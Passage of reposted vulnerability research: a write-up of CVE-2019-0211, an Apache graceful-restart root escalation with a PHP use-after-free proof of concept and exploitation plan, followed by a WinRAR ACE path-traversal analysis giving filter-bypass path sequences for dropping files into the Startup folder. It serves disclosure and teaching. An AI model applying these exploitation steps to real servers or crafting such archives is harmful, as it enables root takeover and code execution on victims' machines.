CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation

Original text by cfreal

Escalation

2019-04-03

Introduction

From version 2.4.17 (Oct 9, 2015) to version 2.4.38 (Apr 1, 2019), Apache HTTP suffers from a local root privilege escalation vulnerability due to an out-of-bounds array access leading to an arbitrary function call. The vulnerability is triggered when Apache gracefully restarts (apache2ctl graceful). In standard Linux configurations, the logrotate utility runs this command once a day, at 6:25AM, in order to reset log file handles.

The vulnerability affects mod_preforkmod_worker and mod_event. The following bug description, code walkthrough and exploit target mod_prefork.

Bug description

In MPM prefork, the main server process, running as root, manages a pool of single-threaded, low-privilege (www-data) worker processes, meant to handle HTTP requests. In order to get feedback from its workers, Apache maintains a shared-memory area (SHM), scoreboard, which contains various informations such as the workers PIDs and the last request they handled. Each worker is meant to maintain a process_score structure associated with its PID, and has full read/write access to the SHM.

ap_scoreboard_image: pointers to the shared memory block

(gdb) p *ap_scoreboard_image 
$3 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
}
(gdb) p ap_scoreboard_image->servers[0]
$5 = (worker_score *) 0x7f4a93240820

Example of shared memory associated with worker PID 19447

(gdb) p ap_scoreboard_image->parent[0]
$6 = {
  pid = 19447, 
  generation = 0, 
  quiescing = 0 '\000', 
  not_accepting = 0 '\000', 
  connections = 0, 
  write_completion = 0, 
  lingering_close = 0, 
  keep_alive = 0, 
  suspended = 0, 
  bucket = 0 <- index for all_buckets
}
(gdb) ptype *ap_scoreboard_image->parent
type = struct process_score {
    pid_t pid;
    ap_generation_t generation;
    char quiescing;
    char not_accepting;
    apr_uint32_t connections;
    apr_uint32_t write_completion;
    apr_uint32_t lingering_close;
    apr_uint32_t keep_alive;
    apr_uint32_t suspended;
    int bucket; <- index for all_buckets
}

When Apache gracefully restarts, its main process kills old workers and replaces them by new ones. At this point, every old worker’s bucket value will be used by the main process to access an array of his, all_buckets.

all_buckets

(gdb) p $index = ap_scoreboard_image->parent[0]->bucket
(gdb) p all_buckets[$index]
$7 = {
  pod = 0x7f19db2c7408, 
  listeners = 0x7f19db35e9d0, 
  mutex = 0x7f19db2c7550
}
(gdb) ptype all_buckets[$index]
type = struct prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}
(gdb) ptype apr_proc_mutex_t
apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;
    ...
}
(gdb) ptype apr_proc_mutex_unix_lock_methods_t
apr_proc_mutex_unix_lock_methods_t {
    ...
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    ...
}

No bound checks happen. Therefore, a rogue worker can change its bucket index and make it point to the shared memory, in order to control the prefork_child_bucket structure upon restart. Eventually, and before privileges are dropped, mutex->meth->child_init() is called. This results in an arbitrary function call as root.

Vulnerable code

We’ll go through server/mpm/prefork/prefork.c to find out where and how the bug happens.

  • A rogue worker changes its bucket index in shared memory to make it point to a structure of his, also in SHM.
  • At 06:25AM the next day, logrotate requests a graceful restart from Apache.
  • Upon this, the main Apache process will first kill workers, and then spawn new ones.
  • The killing is done by sending SIGUSR1 to workers. They are expected to exit ASAP.
  • Then, prefork_run() (L853) is called to spawn new workers. Since retained->mpm->was_graceful is true (L861), workers are not restarted straight away.
  • Instead, we enter the main loop (L933) and monitor dead workers’ PIDs. When an old worker dies, ap_wait_or_timeout() returns its PID (L940).
  • The index of the process_score structure associated with this PID is stored in child_slot (L948).
  • If the death of this worker was not fatal (L969), make_child() is called with ap_get_scoreboard_process(child_slot)->bucket as a third argument (L985). As previously said, bucket‘s value has been changed by a rogue worker.
  • make_child() creates a new child, fork()ing (L671) the main process.
  • The OOB read happens (L691), and my_bucket is therefore under the control of an attacker.
  • child_main() is called (L722), and the function call happens a bit further (L433).
  • SAFE_ACCEPT(<code>) will only execute <code> if Apache listens on two ports or more, which is often the case since a server listens over HTTP (80) and HTTPS (443).
  • Assuming <code> is executed, apr_proc_mutex_child_init() is called, which results in a call to (*mutex)->meth->child_init(mutex, pool, fname) with mutex under control.
  • Privileges are dropped a bit later in the execution (L446).

Exploitation

The exploitation is a four step process: 1. Obtain R/W access on a worker process 2. Write a fake prefork_child_bucket structure in the SHM 3. Make all_buckets[bucket] point to the structure 4. Await 6:25AM to get an arbitrary function call

Advantages: — The main process never exits, so we know where everything is mapped by reading /proc/self/maps(ASLR/PIE useless) — When a worker dies (or segfaults), it is automatically restarted by the main process, so there is no risk of DOSing Apache

Problems: — PHP does not allow to read/write /proc/self/mem, which blocks us from simply editing the SHM — all_buckets is reallocated after a graceful restart (!)

1. Obtain R/W access on a worker process

PHP UAF 0-day

Since mod_prefork is often used in combination with mod_php, it seems natural to exploit the vulnerability through PHP. CVE-2019-6977 would be a perfect candidate, but it was not out when I started writing the exploit. I went with a 0day UAF in PHP 7.x (which seems to work in PHP5.x as well):

PHP UAF

<?php

class X extends DateInterval implements JsonSerializable
{
  public function jsonSerialize()
  {
    global $y, $p;
    unset($y[0]);
    $p = $this->y;
    return $this;
  }
}

function get_aslr()
{
  global $p, $y;
  $p = 0;

  $y = [new X('PT1S')];
  json_encode([1234 => &$y]);
  print("ADDRESS: 0x" . dechex($p) . "\n");

  return $p;
}

get_aslr();

This is an UAF on a PHP object: we unset $y[0] (an instance of X), but it is still usable using $this.

UAF to Read/Write

We want to achieve two things: — Read memory to find all_buckets‘ address — Edit the SHM to change bucketindex and add our custom mutex structure

Luckily for us, PHP’s heap is located before those two in memory.

Memory addresses of PHP’s heap, ap_scoreboard_image->* and all_buckets

root@apaubuntu:~# cat /proc/6318/maps | grep libphp | grep rw-p
7f4a8f9f3000-7f4a8fa0a000 rw-p 00471000 08:02 542265 /usr/lib/apache2/modules/libphp7.2.so

(gdb) p *ap_scoreboard_image 
$14 = {
  global = 0x7f4a9323e008, 
  parent = 0x7f4a9323e020, 
  servers = 0x55835eddea78
}
(gdb) p all_buckets 
$15 = (prefork_child_bucket *) 0x7f4a9336b3f0

Since we’re triggering the UAF on a PHP object, any property of this object will be UAF’d too; we can convert this zend_object UAF into a zend_string one. This is useful because of zend_string‘s structure:

(gdb) ptype zend_string
type = struct _zend_string {
    zend_refcounted_h gc;
    zend_ulong h;
    size_t len;
    char val[1];
}

The len property contains the length of the string. By incrementing it, we can read and write further in memory, and therefore access the two memory regions we’re interested in: the SHM and Apache’s all_buckets.

Locating bucket indexes and all_buckets

We want to change ap_scoreboard_image->parent[worker_id]->bucket for a certain worker_id. Luckily, the structure always starts at the beginning of the shared memory block, so it is easy to locate.

Shared memory location and targeted process_score structures

root@apaubuntu:~# cat /proc/6318/maps | grep rw-s
7f4a9323e000-7f4a93252000 rw-s 00000000 00:05 57052                      /dev/zero (deleted)

(gdb) p &ap_scoreboard_image->parent[0]
$18 = (process_score *) 0x7f4a9323e020
(gdb) p &ap_scoreboard_image->parent[1]
$19 = (process_score *) 0x7f4a9323e044

To locate all_buckets, we can make use of our knowledge of the prefork_child_bucket structure. We have:

Important structures of bucket items

prefork_child_bucket {
    ap_pod_t *pod;
    ap_listen_rec *listeners;
    apr_proc_mutex_t *mutex; <--
}

apr_proc_mutex_t {
    apr_pool_t *pool;
    const apr_proc_mutex_unix_lock_methods_t *meth; <--
    int curr_locked;
    char *fname;

    ...
}

apr_proc_mutex_unix_lock_methods_t {
    unsigned int flags;
    apr_status_t (*create)(apr_proc_mutex_t *, const char *);
    apr_status_t (*acquire)(apr_proc_mutex_t *);
    apr_status_t (*tryacquire)(apr_proc_mutex_t *);
    apr_status_t (*release)(apr_proc_mutex_t *);
    apr_status_t (*cleanup)(void *);
    apr_status_t (*child_init)(apr_proc_mutex_t **, apr_pool_t *, const char *); <--
    apr_status_t (*perms_set)(apr_proc_mutex_t *, apr_fileperms_t, apr_uid_t, apr_gid_t);
    apr_lockmech_e mech;
    const char *name;
}

all_buckets[0]->mutex will be located in the same memory region as all_buckets[0]. Since meth is a static structure, it will be located in libapr‘s .data. Since meth points to functions defined in libapr, each of the function pointers will be located in libapr‘s .text.

Since we have knowledge of those region’s addresses through /proc/self/maps, we can go through every pointer in Apache’s memory and find one that matches the structure. It will be all_buckets[0].

As I mentioned, all_buckets‘s address changes at every graceful restart. This means that when our exploit triggers, all_buckets‘s address will be different than the one we found. This has to be taken into account; we’ll talk about this later.

2. Write a fake prefork_child_bucket structure in the SHM

Reaching the function call

The code path to the arbitrary function call is the following:

bucket_id = ap_scoreboard_image->parent[id]->bucket
my_bucket = all_buckets[bucket_id]
mutex = &my_bucket->mutex
apr_proc_mutex_child_init(mutex)
(*mutex)->meth->child_init(mutex, pool, fname)
Call:reach

Calling something proper

To exploit, we make (*mutex)->meth->child_init point to zend_object_std_dtor(zend_object *object), which yields the following chain:

mutex = &my_bucket->mutex
[object = mutex]

zend_object_std_dtor(object) ht = object->properties zend_array_destroy(ht) zend_hash_destroy(ht) val = &ht->arData[0]->val ht->pDestructor(val)

pDestructor is set to system, and &ht->arData[0]->val is a string.

Call:exec

As you can see, both leftmost structures are superimposed.

3. Make all_buckets[bucket] point to the structure

Problem and solution

Right now, if all_buckets‘ address was unchanged in between restarts, our exploit would be over:

  • Get R/W over all memory after PHP’s heap
  • Find all_buckets by matching its structure
  • Put our structure in the SHM
  • Change one of the process_score.bucket in the SHM so that all_bucket[bucket]->mutex points to our payload

As all_buckets‘ address changes, we can do two things to improve reliability: spray the SHM and use every process_score structure — one for each PID.

Spraying the shared memory

If all_buckets‘ new address is not far from the old one, my_bucket will point close to our structure. Therefore, instead of having our prefork_child_bucket structure at a precise point in the SHM, we can spray it all over unused parts of the SHM. The problem is that the structure is also used as a zend_object, and therefore it has a size of (5 * 8 =) 40 bytes to include zend_object.properties. Spraying a structure that big over a space this small won’t help us much. To solve this problem, we superimpose the two center structures, apr_proc_mutex_t and zend_array, and spray their address in the rest of the shared memory. The impact will be that prefork_child_bucket.mutex and zend_object.properties point to the same address. Now, if all_bucketis relocated not too far from its original address, my_bucket will be in the sprayed area.

Call:exec

Using every process_score

Each Apache worker has an associated process_score structure, and with it a bucket index. Instead of changing one process_score.bucket value, we can change every one of them, so that they cover another part of memory. For instance:

ap_scoreboard_image->parent[0]->bucket = -10000 -> 0x7faabbcc00 <= all_buckets <= 0x7faabbdd00
ap_scoreboard_image->parent[1]->bucket = -20000 -> 0x7faabbdd00 <= all_buckets <= 0x7faabbff00
ap_scoreboard_image->parent[2]->bucket = -30000 -> 0x7faabbff00 <= all_buckets <= 0x7faabc0000

This multiplies our success rate by the number of apache workers. Upon respawn, only one worker have a valid bucket number, but this is not a problem because the others will crash, and immediately respawn.

Success rate

Different Apache servers have different number of workers. Having more workers mean we can spray the address of our mutex over less memory, but it also means we can specify more index for all_buckets. This means that having more workers improves our success rate. After a few tries on my test Apache server of 4 workers (default), I had ~80% success rate. The success rate jumps to ~100% with more workers.

Again, if the exploit fails, it can be restarted the next day as Apache will still restart properly. Apache’s error.logwill nevertheless contain notifications about its workers segfaulting.

4. Await 6:25AM for the exploit to trigger

Well, that’s the easy step.

Vulnerability timeline

  • 2019-02-22 Initial contact email to security[at]apache[dot]org, with description and POC
  • 2019-02-25 Acknowledgment of the vulnerability, working on a fix
  • 2019-03-07 Apache’s security team sends a patch for I to review, CVE assigned
  • 2019-03-10 I approve the patch
  • 2019-04-01 Apache HTTP version 2.4.39 released

Apache’s team has been prompt to respond and patch, and nice as hell. Really good experience. PHP never answered regarding the UAF.

Questions

Why the name ?

CARPE: stands for CVE-2019-0211 Apache Root Privilege Escalation
DIEM: the exploit triggers once a day

I had to.

Can the exploit be improved ?

Yes. For instance, my computations for the bucket indexes are shaky. This is between a POC and a proper exploit. BTW, I added tons of comments, it is meant to be educational as well.

Does this vulnerability target PHP ?

No. It targets the Apache HTTP server.

Exploit

The exploit is available here.

Реклама

Extracting a 19 Year Old Code Execution from WinRAR

Original text by Nadav Grossman

Introduction

In this article, we tell the story of how we found a logical bug using the WinAFL fuzzer and exploited it in WinRAR to gain full control over a victim’s computer. The exploit works by just extracting an archive, and puts over 500 million users at risk. This vulnerability has existed for over 19 years(!) and forced WinRAR to completely drop support for the vulnerable format.

Background

A few months ago, our team built a multi-processor fuzzing lab and started to fuzz binaries for Windows environments using the WinAFL fuzzer. After the good results we got from our Adobe Research, we decided to expand our fuzzing efforts and started to fuzz WinRAR too.

One of the crashes produced by the fuzzer led us to an old, dated dynamic link library (dll) that was compiled back in 2006 without a protection mechanism (like ASLR, DEP, etc.) and is used by WinRAR.

We turned our focus and fuzzer to this “low hanging fruit” dll, and looked for a memory corruption bug that would hopefully lead to Remote Code Execution.
However, the fuzzer produced a test case with “weird” behavior. After researching this behavior, we found a logical bug: Absolute Path Traversal. From this point on it was simple to leverage this vulnerability to a remote code execution.

Perhaps it’s also worth mentioning that a substantial amount of money in various bug bounty programs is offered for these types of vulnerabilities.

Figure 1: Zerodium tweet on purchasing WinRAR vulnerability.

What is WinRAR?

WinRAR is a trialware file archiver utility for Windows which can create and view archives in RAR or ZIP file formats and unpack numerous archive file formats.

According to the WinRAR website, over 500 million users worldwide make WinRAR the world’s most popular compression tool today.

This is what the GUI looks like:

Figure 2: WinRAR GUI.

The Fuzzing Process Background

These are the steps taken to start fuzzing WinRAR:

  1. Creation of an internal harness inside the WinRAR main function which enables us to fuzz any archive type, without stitching a specific harness for each format. This is done by patching the WinRAR executable.
  2. Eliminate GUI elements such as message boxes and dialogs which require user interaction. This is also done by patching the WinRAR executable.
    There are some message boxes that pop up even in CLI mode of WinRAR.
  3. Use a giant corpus from an interesting piece of research conducted around 2005 by the University of Oulu.
  4. Fuzz the program with WinAFL using WinRAR command line switches. These force WinRAR to parse the “broken archive” and also set default passwords (“-p” for password and “-kb” for keep broken extracted files). We found those options in a WinRAR manual/help file.

After a short time of fuzzing, we found several crashes in the extraction of several archive formats such as RAR, LZH and ACE that were caused by a memory corruption vulnerability such as Out-of-Bounds Write. The exploitation of these vulnerabilities, though, is not trivial because the primitives supplied limited control over the overwritten buffer.

However, a crash related to the parsing of the ACE format caught our eye. We found that WinRAR uses a dll named unacev2.dll for parsing ACE archives. A quick look at this dll revealed that it’s an old dated dll compiled in 2006 without a protection mechanism. In the end, it turned out that we didn’t even need to bypass them.

Build a Specific Harness

We decided to focus on this dll because it looked like it would be quick and easy to exploit.

Also, as far as WinRAR is concerned, as long as the archive file has a .rar extension, it would handle it according to the file’s magic bytes, in our case – the ACE format.

To improve the fuzzer performance, and to increase the coverage only on the relevant dll, we created a specific harness for unacev2.dll .

To do that, we need to understand how unacev2.dll is used. After reverse engineering the code calling unacev2.dll for ACE archive extraction, we found that two exported functions should be called for extraction in the following order:

  1. An initialization function named ACEInitDll, with the following signature:
    INT __stdcall ACEInitDll(unknown_struct_1 *struct_1);
    • struct_1: pointer to an unknown struct
  2. An extraction function named ACEExtract , with the following signature:
    INT __stdcall ACEExtract(LPSTR ArchiveName, unknown_struct_2 *struct_2);
    ArchiveName: string pointer to the path to the ace file to be extracted
    struct_2: pointer to an unknown struct

Both of these functions required structs that are unknown to us. We had two options to try to understand the unknown struct: reversing and debugging WinRAR, or trying to find an open source project that uses those structs.

The first option is more time consuming, so we opted to try the second one. We searched github.com for the exported function ACEInitDll
and found a project named FarManager that uses this dll and includes a detailed header file for the unknown structs.
Note: The creator of this project is also the creator of WinRAR.

After loading the header files to IDA, it was much easier to understand the previously “unknown structs” to both functions (ACEInitDll and ACEExtract ),  as IDA displayed the correct name and type for each struct member.

From the headers we found in the FarManager project, we came up with the following signature:

INT __stdcall ACEInitDll(pACEInitDllStruc DllData);

INT __stdcall ACEExtract(LPSTR ArchiveName, pACEExtractStruc Extract);

To mimic the way that WinRAR uses unacev2.dll , we assigned the same struct member just as WinRAR did.

We started to fuzz this specific harness, but we didn’t find new crashes and the coverage did not expand in the first few hours of the fuzzing. We tried to understand the reason for this limitation.

We started by looking for information about the ACE archive format.

Understanding the ACE Format

We didn’t find a RFC for that format, but we did find vital information over the internet.

1. Creating an ACE archive is protected by a patent. The only software that is allowed to create an ACE archive is WinACE. The last version of this program was compiled in November 2007. The company’s website has been down since August 2017. However, extracting an ACE archive is not protected by a patent.

2. A pure Python project named acefile is mentioned in this Wikipedia page. Its most useful features are:

  • It can extract an ACE archive.
  • It contains a brief explanation about the ACE file format.
  • It has a very helpful feature that prints the file format header with an explanation.

To understand the ACE file format, let’s create a simple .txt file (named “simple_file.txt”), and compress it using WinACE. We will then check the headers of the ACE file using acefile .

This is simple_file.txt

Figure 3: File before compression.

These are the options we selected in WinACEto create our example:

Figure 4: WinACE compression GUI.

This option creates the subdirectories \users\nadavgr\Documents under the chosen extraction directory and extracts simple_file.txt to that relative path.

simple_file.ace

Figure 5: The simple_file.ace produced using WinACE’s “store” compression option for visibility.

Running acefile.py from the acefile project using headers flags displays information about the archive headers:

Figure 6: Parsing ACE file header using acefile.py.

This results in:

Figure 7: acefile.py header parsing output.

Notes:

  • Consider each “\\” from the filename field in the image above as a single slash “\”, this is just python escaping.
  • For clarity, the same fields are marked with the same color in the hex dump and in the output fromacefile.

Summary of the important fields:

  • hdr_crc (marked in pink):
    Two CRC fields are present in 2 headers. If the CRC doesn’t match the data, the extraction
    is interrupted. This is the reason why the fuzzer didn’t find more paths (expand its coverage).To “solve” this issue we patched all the CRC* checks in unacev2.dll .*Note – The CRC is a modified implementation of the regular CRC-32.
  • filename (marked in green):
    It contains the relative path to the file. All the directories specified in the relative path are created during the extracting process (including the file). The size of the filename is defined by 2 bytes (little endian) marked by a black frame in the hex dump.
  • advert (marked in yellow)
    The advert field is automatically added by WinACE, during the creation of an ACE archive, if the archive is created using an unregistered version of WinACE.
  • file content:
    • origsize ” – The content’s size. The content itself is positioned after the header that defines the file (“hdr_type” field == 1).
    • hdr_size ” – The header size. Marked by a gray frame in the hex dump.
    • At offset 70 (0x46) from the second header, we can find our file content: “Hello From Check Point!”

Because the filename field contains the relative path to the file, we did some manual modification attempts to the field to see if it is vulnerable to “Path Traversal.”
For example, we added the trivial path traversal gadget “\..\” to the filename field and more complex “Path Traversal” tricks as well, but without success.

After patching all the structure checks, such as the CRC validation, we once again activated our fuzzer. After a short time of fuzzing, we entered the main fuzzing directory and found something odd. But let’s first describe our fuzzing machine for some necessary background.

The Fuzzing Machine

To increase the fuzzer performance and to prevent an I\O bottleneck, we used a RAM disk drive that uses the ImDisk toolkit on the fuzzing machine.

The Ram disk is mapped to drive R:\, and the folder tree looks like this:

Figure 8: Fuzzer’s folders hierarchy

Detecting the Path Traversal Bug

A short time after starting the fuzzer, we found a new folder named sourbe in a surprising location, in the root of drive R:\

Figure 9: ”sourbe”, the unexpected folder which created during fuzzing.

The harness is instructed to extract the fuzzed archive to sub-directories under “output_folders”. For example, R:\ACE_FUZZER\output_folders\Slave_2\ . So why do we have a new folder created in the parent directory?

Inside the sourbe folder we found a file named RED VERSION_¶ with the following content:

Figure 10: Content of the file that produced by the fuzzer in the unexpected path “R:\sourbe\RED VERSION_¶”.

This is the hex dump of the test case that triggers the vulnerability:

Figure 11: A hex dump of the file that produced by the fuzzer in the unexpected path “R:\sourbe\RED VERSION_¶”.

Notes:

  • We made some minor changes to this test case, (such as adjusting the CRC) to make it parsable by acefile.
  • For convenience, fields are marked with the same color in the hex dump and in
    the output from acefile.

Figure 12: Header parsing output from acefile.py for the file that produced by the fuzzer in the unexpected path.

These are the first three things that we noticed when we looked at the hex dump and the output from acefile:

  1. The fuzzer copied parts of the “advert” field to other fields:
    • The content of the compressed file is “SIO”, marked in an orange frame in the hex dump. It’s part of the advert string “*UNREGISTERED VERSION*”.
    • The filename field contain the string “RED VERSION*” which is part of the advert string “*UNREGISTERED VERSION*”.
  2. The path in the filename field was used in the extraction process as an “absolute path” instead of a relative path to the destination folder (the backslash is the root of the drive).
  3. The extract file name is “RED VERSION_¶”. It seems that the asterisk from the filename field was converted to an underscore and the \x14\ (0x14) value represented as “¶” in the extract file name. The other content of the filename field is ignored because there is a null char which terminates the string, after the \x14\ (0x14) value.

To find the constraints that caused it to ignore the destination folder and use the filename field as an absolute path during the extraction, we did the following attempts, based on our assumptions.

Our first assumption was the first character of the filename field (the ‘\’ char) triggers the vulnerability. Unfortunately, after a quick check we found out that this is not the case. After additional checks we arrived at these conclusions:

  1. The first char should be a ‘/’ or a ‘\’.
  2. ‘*’ should be included in the filename at least once; the location doesn’t matter.

Example of a filename field that triggers the bug: \some_folder\some_file*.exe will be extracted to C:\some_folder\some_file_.exe , and the asterisk is converted to an underscore (_).

Now that it worked on our fuzzing harness, it is time to test our crafted archive (e.g. exploit file) file on WinRAR.

Trying the exploit on WinRAR

At first glance, it looked like the exploit worked as expected on WinRAR, because the sourbe directory was created in the root of drive C:\ . However, when we entered the “sourbe” folder (C:\sourbe ) we noticed that the file was not created.

These behaviors raised two questions:

  • Why did the harness and WinRAR behave differently?
  • Why were the directories that were specified in the exploit file created, and the extracted file was not created?
Why did the harness and WinRAR behave differently?

We expected that the exploit file would behave the same on WinRAR as it behaved in our harness, for the following reasons:

  1. The dll (unacev2.dll ) extracts the files to the destination folder, and not the outer executable (WinRAR or our harness).
  2. Our harness mimics WinRAR perfectly when passing parameters / struct members to the dll.

A deeper look showed that we had a false assumption in our second point. Our harness defines 4 callbacks pointers, and our implemented callbacks differ from WinRAR’s callbacks. Let’s return to our harness implementation.

We mentioned this signature when calling the exported function named ACEInitDll.

INT __stdcall ACEInitDll(pACEInitDllStruc DllData);

pACEInitDllStruc is a pointer to the sACEInitDLLStruc struct. The first member of this struct is tACEGlobalDataStruc. This struct has many members, including pointers to callback functions with the following signature:

INT (__stdcall *InfoCallbackProc) (pACEInfoCallbackProcStruc Info);

INT (__stdcall *ErrorCallbackProc) (pACEErrorCallbackProcStruc Error);

INT (__stdcall *RequestCallbackProc) (pACERequestCallbackProcStruc Request);

INT (__stdcall *StateCallbackProc) (pACEStateCallbackProcStruc State);

These callbacks are called by the dll (unacev2.dll ) during the extraction process.
The callbacks are used as external validators for operations that about to happen, such as the creation of a file, creation of a directory, overwriting a file, etc.
The external callback/validators get information about the operation that’s about to occur, for example, file extraction, and returns its decision to the dll.

If the operation is allowed, the following constant is returned to the dll: ACE_CALLBACK_RETURN_OK Otherwise, if the operation is not allowed by the callback function, it returns the following constant: ACE_CALLBACK_RETURN_CANCEL, and the operation is aborted.

For more information about those callbacks function, see the explanation from the FarManager.

Our harness returned ACE_CALLBACK_RETURN_OK  for all the callback functions except for the ErrorCallbackProc, where it returned ACE_CALLBACK_RETURN_CANCEL.

It turns out, WinRAR does validation for the extracted filename (after they are extracted and created), and because of those validations in the WinRAR callback’s, the creation of the file was aborted. This means that after the file is created, it is deleted by WinRAR.

WinRAR Validators / Callbacks

This is part of the WinRAR callback’s validator pseudo-code that prevents the file creation:

Figure 13: WinRAR validator/callback pseudo-code.

SourceFileName” represents the relative path to the file that will be extracted.

The function does the following checks:

  1. The first char does not equal “\” or “/”.
  2. The File Name doesn’t start with the following strings “..\” or “../” which are gadgets for “Path Traversal”.
  3. The following “Path Traversal” gadgets does not exist in the string:
    1. \..\
    2. \../
    3. /../
    4. /..\

The extraction function in unacv2.dll calls StateCallbackProc in WinRAR, and passes the filename field of the ACE format as the relative path to be extracted to.

The relative path is checked by the WinRAR callback’s validator. The validators return ACE_CALLBACK_RETURN_CANCEL to the dll, (because the filename field starts with backslash “\”) and the file creation is aborted.

The following string passes to the WinRAR callback’s validator:

“\sourbe\RED VERSION_¶”

Note: This is the original filename with fields “\sourbe\RED VERSION*¶”. “unacev2.dll ” replaces the “*” with an underscore.

Why were the folders that were specified in the exploit file created and the extracted file was not created?

Because of a bug in the dll (“unacev2.dll ”), even if ACE_CALLBACK_RETURN_CANCEL returned from the callback, the folders specified in the relative path (filename field in ACE archive) will be created by the dll.

The reason for this is that unacev2.dll calls the external validator (callback) before the folder creation, but it checks the return value from the callbacks too late – after the creation of the folder. Therefore, it aborts the extraction operation just before writing content to the extracted file, before the call to WriteFile API.

It actually creates the extracted file, without writing content to it.  It calls to CreateFile API
and then checks the return code from the callback function. If the return code is ACE_CALLBACK_RETURN_CANCEL, it actually deletes the file that previously created by the call to CreateFile API.

Side Notes:

  • We found a way to bypass the deletion of the file, but it allows us to create empty files only. We can bypass the file deletion by adding “:” to the end of the file, which is treated as Alternate Data Streams. If the callback returns ACE_CALLBACK_RETURN_CANCEL, dll tries to delete the Alternate Data Stream of the file instead of the file itself.
  • There is another filter function in the dll code that aborts the extraction operation if the relative path string starts with “\” (slash). This happens in the first extraction stages, before the calls to any other filter function.
    However, by adding “*”or “?” characters (wildcard characters) to the relative path (filename field) of the compressed file, this check is skipped and the code flow can continue and (partially) trigger the Path Traversal vulnerability. This is why the exploit file which was produced by the fuzzer triggered the bug in our harness. It doesn’t trigger the bug in WinRAR because of the callback validator in the WinRAR code.

Summary of Intermediate Findings

  • We found a Path Traversal vulnerability in unacev2.dll . It enables our harness to extract the file to an arbitrary path, and completely ignore the destination folder, and treats the extracted file relative path as the full path.
  • Two constraints lead to the Path Traversal vulnerability (summarized in previous sections):
    1. The first char should be a ‘/’ or a ‘\’.
    2. ‘*’ should be included in the filename at least once. The location does not matter.
  • WinRAR is partially vulnerable to the Path Traversal:
    • unacev2.dll doesn’t abort the operation after getting the abort code from the WinRAR callback (ACE_CALLBACK_RETURN_CANCEL). Due to this delayed check of the return code from WinRAR callback, the directories specified in the exploit file are created.
    • The extracted file is created as well, on the full path specified in the exploit file (without content), but it is deleted right after checking the returned code from the callback (before the call to WriteFile API).
    • We found a way to bypass the deletion of the file, but it allows us to create empty files only.

Finding the Root Cause

At this point, we wanted to figure out why the destination folder is ignored, and the relative path of the archive files (filename field) is treated as the full path.

To achieve this goal, we could use static analysis and debugging, but we decided on a much quicker method. We used DynamoRio to record the code coverage in unacev2.dll of a regular ACE file and of our exploit file which triggered the bug. We then used the lighthouse plugin for IDA and subtracted one coverage path from the other.

These are the results we got:

Figure 14: Lighthouse’s coverage overview window. You can see the coverage subtraction in the “Composer” form, and one result highlighted in purple.

In the “Coverage Overview” window we can see a single result. This means there is only one basic block that was executed in the first attempt (marked in A) and wasn’t reached on the second attempt (marked in B).

The Lighthouse plugin marked the background of the diffed basic block in blue, as you can see in the image below.

Figure 15: IDA graph view of the main bug in unacev2.dll. Lighthouse marked the background of the diffed basic block in blue.

From the code coverage results, you can understand that the exploit file is not going through the diffed basic block (marked in blue), but it takes the opposite basic block (the false condition, marked with a red arrow).

If the code flow goes through the false condition (red arrow) the line that is inside the green frame replaces the destination folder with "" (empty string), and the later call to sprintf function, which concatenates the destination folder to the relative path of the extracted file.

The code flow to the true and false conditions, marked with green and red arrows respectively,
is influenced by the call to the function named GetDevicePathLen (inside the red frame).

If the result from the call to GetDevicePathLen equals 0, the sprintf looks like this:

sprintf(final_file_path, "%s%s", destination_folder, file_relative_path);

Otherwise:

sprintf(final_file_path, "%s%s", "", file_relative_path);

The last sprintf is the buggy code that triggers the Path Traversal vulnerability.

This means that the relative path will actually be treated as a fullpath to the file/directory that should be written/created.

Let’s look at GetDevicePathLen function to get a better understanding of the root cause:

Figure 16: GetDevicePathLen code.

The relative path of the extracted file is passed to GetDevicePathLen.
It checks if the device or drive name prefix appears in the Path parameter, and returns the length of that string, like this:

  • The function returns 3 for this path: C:\some_folder\some_file.ext
  • The function returns 1 for this path: \some_folder\some_file.ext
  • The function returns 15 for this path: \\LOCALHOST\C$\some_folder\some_file.ext
  • The function returns 21 for this path: \\?\Harddisk0Volume1\some_folder\some_file.ext
  • The function returns 0 for this path: some_folder\some_file.ext

If the return value from GetDevicePathLen is greater than 0, the relative path of the extracted file will be considered as the full path, because the destination folder is replaced by  an empty string during the call to sprintf, and this leads to Path Traversal vulnerability.

However, there is a function that “cleans” the relative path of the extract file, by omitting any sequences that are not allowed before the call to GetDevicePathLen.

This is a pseudo-code that cleans the path “CleanPath”.

Figure 17: Pseudo-code of CleanPath.

The function omits trivial Path Traversal sequences like “\..\”  (it only omits the “..\” sequence if it is found in the beginning of the path)  sequence, and it omits drive sequence like: “C:\C:”, and for an unknown reason, “C:\C:” as well.

Note that it doesn’t care about the first letter; the following sequence will be omitted as well: “_:\”, “_:”, “_:\_:” (In this case underscore represents any value).

Putting It All Together

To create an exploit file, which causes WinRAR to extract an archived file to an arbitrary path (Path Traversal),  extract to the Startup Folder (which gains code execution after reboot) instead of to the destination folder.

We should bypass two filter functions to trigger the bug.

To trigger the concatenation of an empty string to the relative path of the compressed file, instead of the destination folder:

sprintf(final_file_path, "%s%s", "", file_relative_path);

Instead of:

sprintf(final_file_path, "%s%s", destination_folder, file_relative_path);

The result from GetDevicePathLen function should be greater than 0.
It depends on the content of the relative path (“file_relative_path”). If the relative path starts the device path this way:

  • option 1C:\some_folder\some_file.ext
  • option 2\some_folder\some_file.ext (The first slash represents the current drive.)

The return value from GetDevicePathLen will be greater than 0.
However, there is a filter function in unacev2.dll named CleanPath (Figure 17) that checks if the relative path starts with C:\ and removes it from the relative path string before the call to GetDevicePathLen.

It omits the “C:\” sequence from the option 1 string but doesn’t omit “\” sequence from the option 2 string.

To overcome this limitation, we can add to option 1 another “C:\” sequence which will be omitted by CleanPath (Figure 17), and leave the relative path to the string as we wanted with one “C:\”,  like:

  • option 1’C:\C:\some_folder\some_file.ext  =>  C:\some_folder\some_file.ext

However, there is a callback function in WinRAR code (Figure 13), that is used as a validator/filter function. During the extraction process, unacev2.dll is called to the callback function that resides in the WinRAR code.

The callback function validates the relative path of the compressed file. If the blacklist sequence is found, the extraction operation will be aborted.

One of the checks that is made by the callback function is for the relative path that starts with “\” (slash).
